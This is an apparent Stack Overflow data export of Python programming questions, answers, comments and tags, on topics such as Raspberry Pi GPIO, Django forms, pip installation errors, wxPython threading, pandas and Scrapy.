has body: I had trouble making out what I wanted to say in the title but I am currently trying to change the selection of lights that are turned on whenever the button is clicked that is on my breadboard. Currently clicking the button does nothing despite my better judgment of the code is correct. Since I am still learning how to work with Python, RaspPi, and such this is super frustrating. import RPi.GPIO as GPIO import time GPIO.setmode(GPIO.BCM) GPIO.setup(18, GPIO.IN) #GPIO pin for colour change GPIO.setup(20, GPIO.IN) #GPIO for exit GPIO.setup(22, GPIO.OUT) #GPIO Pin for red LED GPIO.setup(12, GPIO.OUT) #GPIO Pin for blue LED colorCheck = 0 try: while True: if ( GPIO.input(18) == True ): if (colorCheck &lt; 3): colorCheck = colorCheck + 1; else: colorCheck = 1; if (colorCheck == 1): GPIO.output(12, GPIO.HIGH) GPIO.output(22, GPIO.LOW) elif (colorCheck == 2): GPIO.output(12, GPIO.LOW) GPIO.output(22, GPIO.HIGH) elif (colorCheck == 3): GPIO.output(12, GPIO.HIGH) GPIO.output(22, GPIO.HIGH) except KeyboardInterrupt: GPIO.cleanup()
tagged with: python
type: Question
score: 0
tagged with: raspberry-pi
accepted answer: http://stackoverflow.com/a/47320605
has answer: http://stackoverflow.com/a/47320605
answer count: 1
has title: GPIO Button not changing the light that is on
tagged with: raspberry-pi3
has comment: http://stackoverflow.com/comment/81591394

http://stackoverflow.com/comment/113384136
has text: This class could inherit from QSlider to have signals like valuechanged available
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/62665367
type: Comment

http://stackoverflow.com/a/48249021
upvote count: 2
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47255745
score: 2
has comment: http://stackoverflow.com/comment/138485342
has body: As you can see in the plots, on the y-axis, the units are in dB (decibel, https://en.wikipedia.org/wiki/Decibel). so what is see is not the raw data (in the frequency domain) but something like 10*log10(data). This explains the presence of negative values and is perfectly normal. Here you have positive and negative values but in general, you would normalise the data (by the maximum) so that all values are negative and the highest value is set to 0. This is possible using : p.plot(norm=True) You can plot the raw data (without the log function) but you would need to use the raw data (in the frequency domain). For instance to reproduce the behaviour of p.plot function, you can use: from pylab import plot plot(p.frequencies(), 10*log10(p.psd/p.psd.max()) So, if you do not want to use the decibel unit, use: from pylab import plot plot(p.frequencies(), p.psd) disclaimer: I'm the main author of Spectrum (http://pyspectrum.readthedocs.io/).

http://stackoverflow.com/comment/81567573
type: Comment
comment on: http://stackoverflow.com/a/47289430
type: AnswerComment
has text: @sunytest, try what I wrote.
score: 0

http://stackoverflow.com/q/47234620
tagged with: inheritance
score: 0
answer count: 0
tagged with: forms
has body: (This write-up had alot of typographical errors earlier, was typing fast and frankly I was tired, so I didn't really take note) I was trying to inherit a form class object which uses forms.ModelForm into a different form class object which inherits from UserCreationForm. I understand that when form models are being inherited, only one Meta supersedes. However, I still gave it a shot as that's the only way to achieve the business logic I am trying to arrive at. The codes below, pls kindly look through and suggest a work around: class AddressMixin(forms.ModelForm): class Meta: model = Subscriber fields = ['address_one', 'address_two', 'city', 'province'] widgets = { 'address_one':forms.TextInput(attrs={'class':'form-control'}), 'address_two':forms.TextInput(attrs={'class':'form-control'}), 'city': forms.TextInput(attrs={'class':'form-control'}), 'province': forms.TextInput(attrs={'class':'form-control'}), } class SubscriberForm(AddressMixin,UserCreationForm): first_name = forms.CharField(required=True, widget=forms.TextInput(attrs={'class':'form-control'})) last_name = forms.CharField(required=True, widget=forms.TextInput(attrs={'class':'form-control'})) email = forms.EmailField(required=True, widget=forms.TextInput(attrs={'class':'form-control'})) username = forms.CharField(widget=forms.TextInput(attrs={'class':'form-control'})) password1 = forms.CharField(widget=forms.TextInput(attrs={'class':'form-control', 'type':'password'})) password2 = forms.CharField(widget=forms.TextInput(attrs={'class':'form-control', 'type':'password'})) Here's the error I am getting, AttributeError at /subscribe/signup/ type object 'Subscriber' has no attribute 'USERNAME_FIELD' Again, I understand the error is referring to the subscriber model not having username as an attribute, because the AddressMixin Meta supersedes. However the AddressMixin model contains some business logic methods that needs to be submitted during registration, hence, it needs to pass through the same form. Any advi…
has comment: http://stackoverflow.com/comment/81421081
has title: Type object error while trying to inherit a form.Models base class with UserCreationForm base class
type: Question
has comment: http://stackoverflow.com/comment/81421570
type: UnansweredQuestion
tagged with: django
tagged with: python

http://stackoverflow.com/comment/81647536
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47305774
score: 0
has text: Let me rephrase it. I want all the information from the following webpage: https://www.transit.dot.gov/regulations-and-guidance/list-project-management-oversight-pmo-lessons-learned

http://stackoverflow.com/q/47240916
has comment: http://stackoverflow.com/comment/81432321
has comment: http://stackoverflow.com/comment/81432356
answer count: 2
score: 0
has comment: http://stackoverflow.com/comment/81432290
has body: Edited this post: I was incorrect about my commands in terminal, they work in powershell and thank you for the advice on the Windows subsytem for Linux. QUESTION: I am having trouble installing wordcloud and I'm not really understanding the errors I'm seeing (listed below). Link to wordcloud github page. I tried to pip install, conda install, and downloading the manual install using wget https://github.com/amueller/word_cloud/archive/master.zip (the unzip command wasn't recognized in powershell). Help? C:\Users\ghodg&gt;pip install wordcloud Traceback (most recent call last): File "C:\ProgramData\Anaconda3\Scripts\pip-script.py", line 3, in &lt;module&gt; import pip File "C:\ProgramData\Anaconda3\lib\site-packages\pip\__init__.py", line 26, in &lt;module&gt; from pip.utils import get_installed_distributions, get_prog File "C:\ProgramData\Anaconda3\lib\site-packages\pip\utils\__init__.py", line 27, in &lt;module&gt; from pip._vendor import pkg_resources File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 3018, in &lt;module&gt; @_call_aside File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 3004, in _call_aside f(*args, **kwargs) File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 3046, in _initialize_master_working_set dist.activate(replace=False) File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 2578, in activate declare_namespace(pkg) File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 2152, in declare_namespace _handle_ns(packageName, path_item) File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 2092, in _handle_ns _rebuild_mod_path(path, packageName, module) File "C:\ProgramData\Anaconda3\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 2121, in _rebuild_mod_path orig_path.sort(key=position_in_sys…
type: Question
has comment: http://stackoverflow.com/comment/81432243
tagged with: terminal
has comment: http://stackoverflow.com/comment/81432160
has comment: http://stackoverflow.com/comment/81432308
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47241134
tagged with: windows
tagged with: pip
tagged with: python
has answer: http://stackoverflow.com/a/47240958
has comment: http://stackoverflow.com/comment/81432234
has comment: http://stackoverflow.com/comment/81432494
tagged with: word-cloud
has title: Need help installing wordcloud

http://stackoverflow.com/a/47235604
accepted answer of: http://stackoverflow.com/q/47234997
type: Answer
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has body: Use dtype=object as the parameter. Great explanation here: pandas distinction between str and object types
answers question: http://stackoverflow.com/q/47234997

http://stackoverflow.com/a/47276443
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81526015
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81521961
has comment: http://stackoverflow.com/comment/81524863
has comment: http://stackoverflow.com/comment/81514442
has comment: http://stackoverflow.com/comment/81526328
answers question: http://stackoverflow.com/q/47275734
has comment: http://stackoverflow.com/comment/81529626
accepted answer of: http://stackoverflow.com/q/47275734
type: Answer
has body: I don't know what else you have going on in the app, but I'd recommend taking a look at the wx.CallAfter function. It is thread-safe and can be used to send messages or post events. import wx from wx.lib.pubsub import Publisher import json from threading import Thread def update_employee_list(read_file): with open(read_file) as f_obj: employee_list = json.load(f_obj) # this line should release the GIL so it continues other threads # next line sends a thread-safe message to the main event thread wx.CallAfter(Publisher().sendMesage, 'updateEmployeeList', employee_list) class MyDialog(wx.Frame): def __init__(self, parent, title): self.no_resize = wx.DEFAULT_FRAME_STYLE &amp; ~ (wx.RESIZE_BORDER | wx.MAXIMIZE_BOX) wx.Frame.__init__(self, parent, title=title, size=(500, 450),style = self.no_resize) self.empList = [] # subscribe our function to be called when 'updateEmployeeList' messages are received Publisher().subscribe(self.updateDisplay, 'updateEmployeeList') def updateDisplay(self, employee_list): # this assignment should be atomic and thread-safe self.empList = employee_list # wxPython GUI runs in a single thread, so this is a blocking call # if you have many many list items, you may want to modify this method # to add one employee at a time to the list to keep it non-blocking. self.emp_selection.Append(employee_list) def start_read_thread(self): filename = 'employee.json' t = Thread(target= update_employee_list, args=(filename, )) t.start() # this starts the thread and immediately continues this thread's execution Update: Using a with ThreadPoolExecutor blocks because the code is equivalent to: executor = ThreadPoolExecutor(max_workers=1) executor.submit(worker_func, args) executor.shutdown(wait=True) # &lt;--- wait=True causes Executor to block until all threads complete You could still use the ThreadPoolExecutor as follows, without the with block. Because you're only : executor = ThreadPoolExecutor(max_workers=1) executor.submit(worker_func, args) executor.shutd…
has comment: http://stackoverflow.com/comment/81547521
downvote count: 0

addition
tags question: http://stackoverflow.com/q/47289944
type: Tag
tag name: addition

http://stackoverflow.com/comment/81592266
type: Comment
comment on: http://stackoverflow.com/q/47320551
type: QuestionComment
has text: You mean like `print(c, end=', ')`?
score: 1

http://stackoverflow.com/a/47364931
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: That's because r'\\ZEYCUS' isn't actually an OS path. It is a network host specifier. Windows uses drive letters, inherited from DOS, between which there are no relative paths; relative paths only function within a drive. r"\\ZEYCUS\first" is a network volume, which operates like a drive. In effect that whole part turns into an implicit drive letter. C: would most likely be your system drive, possibly the current drive of the Python process. If you try just dir \\zeycus in Cmd you'll find that's an invalid volume syntax (in a rather unhelpful message) even though the same specifier in Explorer produces a volume listing.
has comment: http://stackoverflow.com/comment/81683236
type: Answer
accepted answer of: http://stackoverflow.com/q/47364579
score: 2
answers question: http://stackoverflow.com/q/47364579

http://stackoverflow.com/comment/81747352
has text: But crn_labels = grouped_labels.get(crn, []) crn_frames = grouped_frames.get(crn, []) return empty vectors
comment on: http://stackoverflow.com/a/47382018
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47494125
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135251143
answers question: http://stackoverflow.com/q/47305744
type: Answer
has comment: http://stackoverflow.com/comment/119421103
score: 0
has body: This works as expected : class fftconvolve: def __init__(self, A, B, domain, threads=8): MK = B.shape[0] NK = B.shape[1] M = A.shape[0] N = A.shape[1] if domain =="same": self.Y = M self.X = N elif domain == "valid": self.Y = M - MK + 1 self.X = N - NK + 1 elif domain == "full": self.Y = M + MK - 1 self.X = N + NK - 1 self.M = M + MK - 1 self.N = N + NK - 1 a = np.pad(A, ((0, MK - 1), (0, NK - 1)), mode='constant') b = np.pad(B, ((0, M - 1), (0, N - 1)), mode='constant') self.fft_A_obj = pyfftw.builders.rfft2(a, s=(self.M, self.N), threads=threads) self.fft_B_obj = pyfftw.builders.rfft2(b, s=(self.M, self.N), threads=threads) self.ifft_obj = pyfftw.builders.irfft2(self.fft_A_obj.output_array, s=(self.M, self.N), threads=threads) self.offset_Y = int(np.floor((self.M - self.Y)/2)) self.offset_X = int(np.floor((self.N - self.X)/2)) def __call__(self, A, B): MK = B.shape[0] NK = B.shape[1] M = A.shape[0] N = A.shape[1] a = np.pad(A, ((0, MK - 1), (0, NK - 1)), mode='constant') b = np.pad(B, ((0, M - 1), (0, N - 1)), mode='constant') return self.ifft_obj(self.fft_A_obj(a) * self.fft_B_obj(b))[self.offset_Y:self.offset_Y + self.Y, self.offset_X:self.offset_X + self.X]
accepted answer of: http://stackoverflow.com/q/47305744

http://stackoverflow.com/comment/81672402
comment on: http://stackoverflow.com/q/47359743
score: 1
type: QuestionComment
type: Comment
has text: How big are your inputs? How does the speed of your `min_plus_product` compare to the speed of an ordinary matrix multiplication with `dot`?

http://stackoverflow.com/a/47382638
downvote count: 0
has body: IIUC: In [132]: formula = "E = (((A + C) * B) - B)" In [133]: pd.concat([a,b,C], axis=1).eval(formula, inplace=False) Out[133]: A B C E 0 1 2 4 8 1 2 3 5 18 In [134]: pd.concat([a,b,C], axis=1).eval(formula, inplace=False)'E' Out[134]: E 0 8 1 18
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47382607
upvote count: 5
score: 5
accepted answer of: http://stackoverflow.com/q/47382607
type: Answer

http://stackoverflow.com/q/47250617
tagged with: python
favorite count: 0
type: Question
tagged with: tkinter
answer count: 0
tagged with: canvas
type: UnansweredQuestion
has title: PILLOW doesn't work correctly on mac
downvote count: 0
upvote count: 1
has body: I have the following code I wrote on windows 7: canvas_width = 150 canvas_height = 150 brush_size = 3 color = "black" def paint(event): global brush_size global color x1 = event.x - brush_size x2 = event.x + brush_size y1 = event.y - brush_size y2 = event.y + brush_size w.create_oval(x1, y1, x2, y2, fill = color, outline=color) def getter(widget): x = root.winfo_rootx() + widget.winfo_x() y = root.winfo_rooty() + widget.winfo_y() x1 = x + widget.winfo_width() y1 = y + widget.winfo_height() ImageGrab.grab().crop(x,y,x1,y1).save("img1.jpg") root = Tk() w = Canvas(root, width=canvas_width, height=canvas_height, bg="white") w.bind("&lt;B1-Motion&gt;", paint) save_btn = Button(text="Save", width=10, command=getter(w)) w.grid(row=2, column=0, columnspan=7, padx=5, pady=5, sticky=E+W+S+N) w.columnconfigure(6, weight=1) w.rowconfigure(2, weight=1) save_btn.grid(row=0, column=1) root.mainloop() And it works fine on windows 7. But I ran the same code on macos Sierra and something went wrong. When I try to save the canvas, I get an image that starts from a window title bar. When I move the window to the center of screen and hit 'save' I get an image of the center of screen, not the window canvas. And when I try to save the canvas on windows 7 - I get an image of canvas no matter where I move the window. What the hell? How do I fix the code to save the canvas only? On mac?
tagged with: python-imaging-library
score: 1

http://stackoverflow.com/comment/81684411
type: QuestionComment
has text: `index` only gives you the first occurrence.
comment on: http://stackoverflow.com/q/47365785
score: 1
type: Comment

http://stackoverflow.com/a/47231187
type: Answer
score: 0
has body: looks plausable to me plt.plot(z, E(z), 'r')
answers question: http://stackoverflow.com/q/47227156

http://stackoverflow.com/comment/81412416
type: Comment
has text: Hi @Ajax1234, I will try your method first and see if it will fix my issue. I am stripping the single string using (x.split()[3]). How would your solution look like just for this string rather than the whole line. I need to get till the two more digits after the first decimal
comment on: http://stackoverflow.com/a/47230701
score: 0
type: AnswerComment

http://stackoverflow.com/q/47379132
downvote count: 0
upvote count: 1
score: 1
accepted answer: http://stackoverflow.com/a/47382319
tagged with: scrapy
has title: Scrapy Error. List index out of range
favorite count: 0
type: AnsweredQuestion
has body: I'm pretty new to web-scraping and I'm currently trying to employ Scrapy into a Tensorflow project I'm working on but for some reason Scrapy is not giving me any results. I believe I'm doing something wrong when extracting the actual link to an image or the title itself. I stumbled across an example of extracting images from imgur so that's what I'm currently working with. Items.py import scrapy class ImgurItem(scrapy.Item): title = scrapy.Field() image_urls = scrapy.Field() images = scrapy.Field() settings.py BOT_NAME = 'imgur' SPIDER_MODULES = ['imgur.spiders'] NEWSPIDER_MODULE = 'imgur.spiders' ITEM_PIPELINES = {'imgur.pipelines.ImgurPipeline': 1} IMAGES_STORE = 'I:\ScrapySpiders\imgur\imgur\Images' ROBOTSTXT_OBEY = False imgur_spider.py import scrapy from scrapy.contrib.spiders import Rule, CrawlSpider from scrapy.contrib.linkextractors import LinkExtractor from imgur.items import ImgurItem class ImgurSpider(CrawlSpider): name = 'imgur' allowed_domains = ['imgur.com'] start_urls = ['http://www.imgur.com'] rules = [Rule(LinkExtractor(allow=['/gallery/.*']), 'parse_imgur')] def parse_imgur(self, response): image = ImgurItem() image['title'] = response.xpath("//h1[@class='post-title']/text()").extract() rel = response.xpath("//img/@src").extract() image['image_urls'] = ['http:'+rel[0]] return image pipelines.py import scrapy from scrapy.contrib.pipeline.images import ImagesPipeline class ImgurPipeline(ImagesPipeline): def set_filename(self, response): #add a regex here to check the title is valid for a filename. return 'full/{0}.jpg'.format(response.meta['title'][0]) def get_media_requests(self, item, info): for image_url in item['image_urls']: yield scrapy.Request(image_url, meta={'title': item['title']}) def get_images(self, response, request, info): for key, image, buf in super(ImgurPipeline, self).get_images(response, request, info): key = self.set_filename(response) yield key, image, buf UPDATED ERROR LOG: Traceback (most recent call last): File "c:\users\toma…
has comment: http://stackoverflow.com/comment/81710551
has answer: http://stackoverflow.com/a/47379188
possible better answer: http://stackoverflow.com/a/47379188
tagged with: python
has answer: http://stackoverflow.com/a/47382319
linked to: http://stackoverflow.com/q/30267729
type: Question
answer count: 3
has answer: http://stackoverflow.com/a/47380185

http://stackoverflow.com/q/47350640
tagged with: python
answer count: 1
has comment: http://stackoverflow.com/comment/81851894
has title: How can a running ipython inside linux terminal be interrupted
linked to: http://stackoverflow.com/q/17561212
has comment: http://stackoverflow.com/comment/81655402
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81655622
accepted answer: http://stackoverflow.com/a/47461753
score: 1
has comment: http://stackoverflow.com/comment/81845612
tagged with: ipython
has answer: http://stackoverflow.com/a/47461753
has body: I am using SSH to connect to a linux-base remote server and in that server I have run ipython from the terminal that it has brought to me. The point is that I want to interrupt the current operation but I can not do that at all. I have tried pressing double i or the information that have been provided in this web site but did not work (using Ctrl + m i). I have seen here and here but were useless.
favorite count: 0
linked to: http://stackoverflow.com/q/35545402
has comment: http://stackoverflow.com/comment/81877946
type: Question
has comment: http://stackoverflow.com/comment/81878032
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81508450
comment on: http://stackoverflow.com/q/47278949
score: 0
type: Comment
has text: can you share web page itself ?
type: QuestionComment

http://stackoverflow.com/a/47324632
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47324118
has comment: http://stackoverflow.com/comment/122430271
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/122432254
has body: First, use the json parameter to request.post() your data as a json instead of a form post, like you do in your JS: r = requests.post('http://ns519750.ip-158-69-23.net:8100/func/demo/', json=userdata) However, I cannot find a relationship between your python code and the exception you posted. Is it the exact same code that gives you an exception ?
upvote count: 2
answers question: http://stackoverflow.com/q/47324118
type: AcceptedAnswer

http://stackoverflow.com/a/47239724
score: 0
has body: here it goes the simplest one using pandas library import pandas as pd import json with open('top40nl.json') as fi: data = json.load(fi) df = pd.DataFrame(data=data) df.to_csv('top40nl.csv', index=False)
type: Answer
answers question: http://stackoverflow.com/q/47239444

matrix
tags question: http://stackoverflow.com/q/47359668
tags question: http://stackoverflow.com/q/47359743
tags question: http://stackoverflow.com/q/47314754
tags question: http://stackoverflow.com/q/47250754
tag name: matrix
tags question: http://stackoverflow.com/q/47330244
tags question: http://stackoverflow.com/q/47306503
tags question: http://stackoverflow.com/q/47360895
tags question: http://stackoverflow.com/q/47226050
tags question: http://stackoverflow.com/q/47226877
tags question: http://stackoverflow.com/q/47335305
tags question: http://stackoverflow.com/q/47253922
tags question: http://stackoverflow.com/q/47380073
tags question: http://stackoverflow.com/q/47240208
tags question: http://stackoverflow.com/q/47243021
tags question: http://stackoverflow.com/q/47235245
tags question: http://stackoverflow.com/q/47253243
tags question: http://stackoverflow.com/q/47295198
tags question: http://stackoverflow.com/q/47360080
tags question: http://stackoverflow.com/q/47292603
tags question: http://stackoverflow.com/q/47321274
tags question: http://stackoverflow.com/q/47330812
tags question: http://stackoverflow.com/q/47342907
type: Tag
tags question: http://stackoverflow.com/q/47262240

http://stackoverflow.com/q/47335778
score: 1
has title: TypeError: Object of type 'Entities' is not JSON serializable IBM Cloud natural language understanding
accepted answer: http://stackoverflow.com/a/47447133
tagged with: python
has answer: http://stackoverflow.com/a/47350688
type: Question
tagged with: ibm-cloud
downvote count: 0
tagged with: watson-nlu
upvote count: 1
has body: import json from watson_developer_cloud import NaturalLanguageUnderstandingV1 import watson_developer_cloud.natural_language_understanding.features.v1 \ as Features natural_language_understanding = NaturalLanguageUnderstandingV1( username="username", password="password", version="2017-02-27") response = natural_language_understanding.analyze( text="IBM is an American multinational technology company headquartered \ in Armonk, New York, United States, with operations in over 170 \ countries.", features=[ Features.Entities( emotion=True, sentiment=True, limit=2 ), Features.Keywords( emotion=True, sentiment=True, limit=2 ) ] ) print(json.dumps(response, indent=2)) I am new to IBM watson API .....i was trying this sample code provided by them by I was getting this error TypeError: Object of type 'Entities' is not JSON serializable
tagged with: ibm-watson
has answer: http://stackoverflow.com/a/47447133
favorite count: 0
possible better answer: http://stackoverflow.com/a/52432613
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/52432613
answer count: 3

http://stackoverflow.com/a/47252760
has comment: http://stackoverflow.com/comment/81456560
downvote count: 0
has body: Using a dictionary comprehension: I assume you meant to define a as: a = [1, 3] then you can get c with: c = {e: b[i] for i, e in enumerate(a)} which gives the intended output of: {1: array([[[ 41., 179.], [ 451., 254.], [ 449., 10.], [ 53., 256.]]], dtype=float32), 3: array([[[ 181., 313.], [ 27., 24.], [ 113., 192.], [ 8., 20.]]], dtype=float32)} If you actually only have a as a list of an element as in [[1], [3]], you can do: a = [i[0] for i in a] #[[1], [3]] --&gt; [1, 3]
answers question: http://stackoverflow.com/q/47252623
has comment: http://stackoverflow.com/comment/81455955
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/q/47271454
answer count: 0
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81500715
tagged with: selenium
has comment: http://stackoverflow.com/comment/81494198
favorite count: 0
has comment: http://stackoverflow.com/comment/81495612
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81504736
tagged with: python
has comment: http://stackoverflow.com/comment/81494561
has title: selenium webdriver from flask and save_screenshot doesnt work
tagged with: flask
has comment: http://stackoverflow.com/comment/81494105
has comment: http://stackoverflow.com/comment/81496779
has body: So am trying to run this script (running on digital ocean apache2) , it runs succesfully with no errors but the screenshot doesnt show up anywhere in the server files.The following code is from __ init __.py @app.route('/process') def process(): chrome_options = Options() chrome_options.add_argument("--headless") chrome_options.add_argument("--window-size=1366x768") chrome_options.add_argument("--no-sandbox") chrome_options.add_argument("user-agent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36") driver = webdriver.Chrome(chrome_options=chrome_options, executable_path='/usr/lib/chromium-browser/chromedriver_old') driver.get("https://www.google.com") driver.save_screenshot("screenshot.png")
tagged with: selenium-webdriver
tagged with: apache2

http://stackoverflow.com/comment/81624258
has text: @smac89 A moderator just removed my pastebin link that I used because pasting it into the question was removing the unknown behaviour. But @glibdud hinted me at using `s.encode()`to check the string, that showed me a single carriage return at the end of the sting, that caused the problem. I suppose it was text from a macOS, that still uses \r for new lines
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47335325

http://stackoverflow.com/a/47347818
has comment: http://stackoverflow.com/comment/81655445
accepted answer of: http://stackoverflow.com/q/47345647
type: AcceptedAnswer
type: Answer
has body: Try having a dummy x-axis and using the dates that you require as just xticklabels import matplotlib.pyplot as plt y = [1879994, 1879995, 1891647, 1889925, 1879900] x = range(len(y)) ticklabels = ['2017-11-01-2', '2017-11-01-3', '2017-11-01-1', '2017-11-01-4', '2017-11-01-5'] plt.xticks(x, ticklabels) plt.plot(x, y) plt.show()
answers question: http://stackoverflow.com/q/47345647
score: 0

http://stackoverflow.com/q/47359469
score: 0
has body: So I've been struggling with this problem for a while so I would appreciate it if somebody helped me out with this. I'm trying to create a physical robot that solves a puzzle. The image of the completed puzzle will be provided along with a picture of scattered pieces Scattered piece picture I've gotten opencv to find contours and single out each piece and rotate them so they are all parallel to the horizontal axes (all "diamond" or "diagonal" pieces are rotated so they look like squares) I've been using SIFT to match a bunch of small square pieces to the complete picture. Comparing an un-rotated square piece to the full picture The problem is this is not in the correct orientation. How would I go about finding out whether I need to rotate 90, 180, 270 degrees? Another problem I have is to determine which quadrant (non-adrant?) the piece is in. For example, this piece belongs to the bottom right corner. Is there a function that identifies the majority of similar keypoints and then classify into one of the nine regions?
tagged with: windows
answer count: 1
type: Question
has answer: http://stackoverflow.com/a/47359593
type: UnansweredQuestion
tagged with: python
has title: Rotation on pattern matched picture using SIFT via OpenCV python
tagged with: opencv

http://stackoverflow.com/comment/81628134
has text: @James no its a semicolon delimited file.
comment on: http://stackoverflow.com/q/47337948
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81496416
has text: Plenty of [results on that one.](https://stackoverflow.com/search?tab=votes&q=django%20save%20model%20with%20foreign%20key). I'll let you do your own reading there. :)
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47272053

wavelet
tag name: wavelet
tags question: http://stackoverflow.com/q/47259776
type: Tag

http://stackoverflow.com/comment/81592342
score: 0
comment on: http://stackoverflow.com/q/47320113
type: Comment
type: QuestionComment
has text: This looks to be related to `pip` install `chardlet` not docker at all. For some reason the pip uninstall script is trying to `rmdir` a non-empty directory.

http://stackoverflow.com/a/50630411
type: Answer
score: 4
has comment: http://stackoverflow.com/comment/88466564
has comment: http://stackoverflow.com/comment/88398008
answers question: http://stackoverflow.com/q/47311720
has body: Is it possible to do the entire sorting using a single sort function?. No, not really. Why not? It turns out the answer is already in your code. integers.sort() strings.sort(key=str.lower) Notice how you need to sort by two different functions here. The first is an integer sort, the second is a lowercase string sort. We could try something like this: def get_sort_order(element): try: value = int(element) except ValueError: value = element.lower() return value a.sort(key=get_sort_order) But that doesn't work either; it just gives us the result ['8', '12', '200', 'a', 'car', 'have', 'I'] You could probably force this into a solution, but it isn't going to be pretty. However, there is another point I'd like to address: But I am using two separate sorting function for sorting integers and the words (which I think is expensive). Sorting two distinct lists is basically always going to be faster anyway. To find out why, just look at the time complexity of the two tasks: Assuming a list of length 1000, exactly half integer and half strings, and a sorting algorithm of O(nlog(n)): One single sort: 1000 * log(1000) = 3000 Two separate sorts: 2 * (500 * log(500) = ~2699 So sorting the list in a single run is both more difficult to implement and slower!
downvote count: 1
upvote count: 5

http://stackoverflow.com/comment/81661588
score: 0
has text: @Bharath. Vertical literally means sharing the same time value.
comment on: http://stackoverflow.com/q/47342447
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47253043
downvote count: 1
tagged with: post
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81457153
has title: python %s is discarding \n while sending via POST method
upvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81456502
has body: I am working on an email sending project in python when i pass %s in post method with a variable its discarding all new lines and sending it to email so im getting all stuffed emails can somebody please help post method : r = requests.post('https://maker.ifttt.com/trigger/Custom Newsfeed/with/key/nYmoaoROeu6Mf2SrBOgUg?value1=%s' % (s)) so if s contains a news with headline and body, in email im getting it all concatenated together
has answer: http://stackoverflow.com/a/47253179
tagged with: ifttt
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81456489
answer count: 2
has comment: http://stackoverflow.com/comment/81456388
has comment: http://stackoverflow.com/comment/81456794
tagged with: email
tagged with: url
has answer: http://stackoverflow.com/a/47253281

http://stackoverflow.com/comment/81508401
type: QuestionComment
comment on: http://stackoverflow.com/q/47268514
score: 0
has text: Thanks for the comment. This helped me pinpoint the problem. I am using the console directly and thought that only importing the main file would lead GCS locate all other files in the same folder. When I specify each of the files separately, the problem is resolved. Thanks for the link, I'll use that for bundling as I have too many files to import each time.
type: Comment

http://stackoverflow.com/q/47317493
has comment: http://stackoverflow.com/comment/81586532
type: Question
has comment: http://stackoverflow.com/comment/81586127
has comment: http://stackoverflow.com/comment/81586425
has comment: http://stackoverflow.com/comment/81586466
answer count: 0
type: UnansweredQuestion
has body: This question has been edited to include the answer. Simple question. I would like to append a variable with the string from another variable. For example: countries = ['USA','CAN','MEX'] df_imp_USA = read_csv(r'%s_final_forecasts.csv' % countries[0]); What syntax would allow me to automatically change df_imp_USA according to the contents in countries? I need to do this because I want to put this line into a for loop. Thanks. Answer As the comments suggest, using dictionaries is preferable to creating new variables. I saw this in previous answers but couldn't figure out how to use dictionaries in my code. I include the syntax below in case it may help others. df_imp = {} # define the dic for country in countries: df_imp[country] = read_csv(r'%s_final_forecasts.csv' % country) Now you can access the dict like this: df_imp['USA']
linked to: http://stackoverflow.com/q/1373164
tagged with: variables
has comment: http://stackoverflow.com/comment/81587107
has title: Appending a string to a variable name
has comment: http://stackoverflow.com/comment/81586321
score: 0
has comment: http://stackoverflow.com/comment/81682249
duplicate of: http://stackoverflow.com/q/1373164
has comment: http://stackoverflow.com/comment/81586470
tagged with: python
tagged with: dictionary

http://stackoverflow.com/q/47321515
favorite count: 0
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/47325360
type: Question
tagged with: numpy
has body: Numpy imported as np here: np.array([True, 1, 2]) + np.array([3, 4, False]) Which results in: array([4, 5, 2]) In this example boolean changed to int. I assumed it's because of the operation. np.array([True,1,2]) Which results in: array(1,1,2) Using a string seems it took the priority and changed int to string. np.array(["True", 1, 2]) results in array(['True', '1', '2'], dtype='&lt;U4') in [4]: np.array([0, 1, 2, 3, 'a', True]) Out[4]: array(['0', '1', '2', '3', 'a', 'True'], dtype='&lt;U21')` It now seems string takes highest priority, and not the number of objects of certain type. Why does it return dtype='&lt;U4'/'U1'? How exactly does this work? Can I use this property to make change non-zero integers to be True and and zero as False or I have to use compare operator?
upvote count: 1
tagged with: arrays
downvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/47325360
tagged with: python
has title: How does type coercion for numpy arrays work?
has comment: http://stackoverflow.com/comment/81594169

http://stackoverflow.com/q/47320213
favorite count: 0
type: Question
type: AnsweredQuestion
score: -3
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81591749
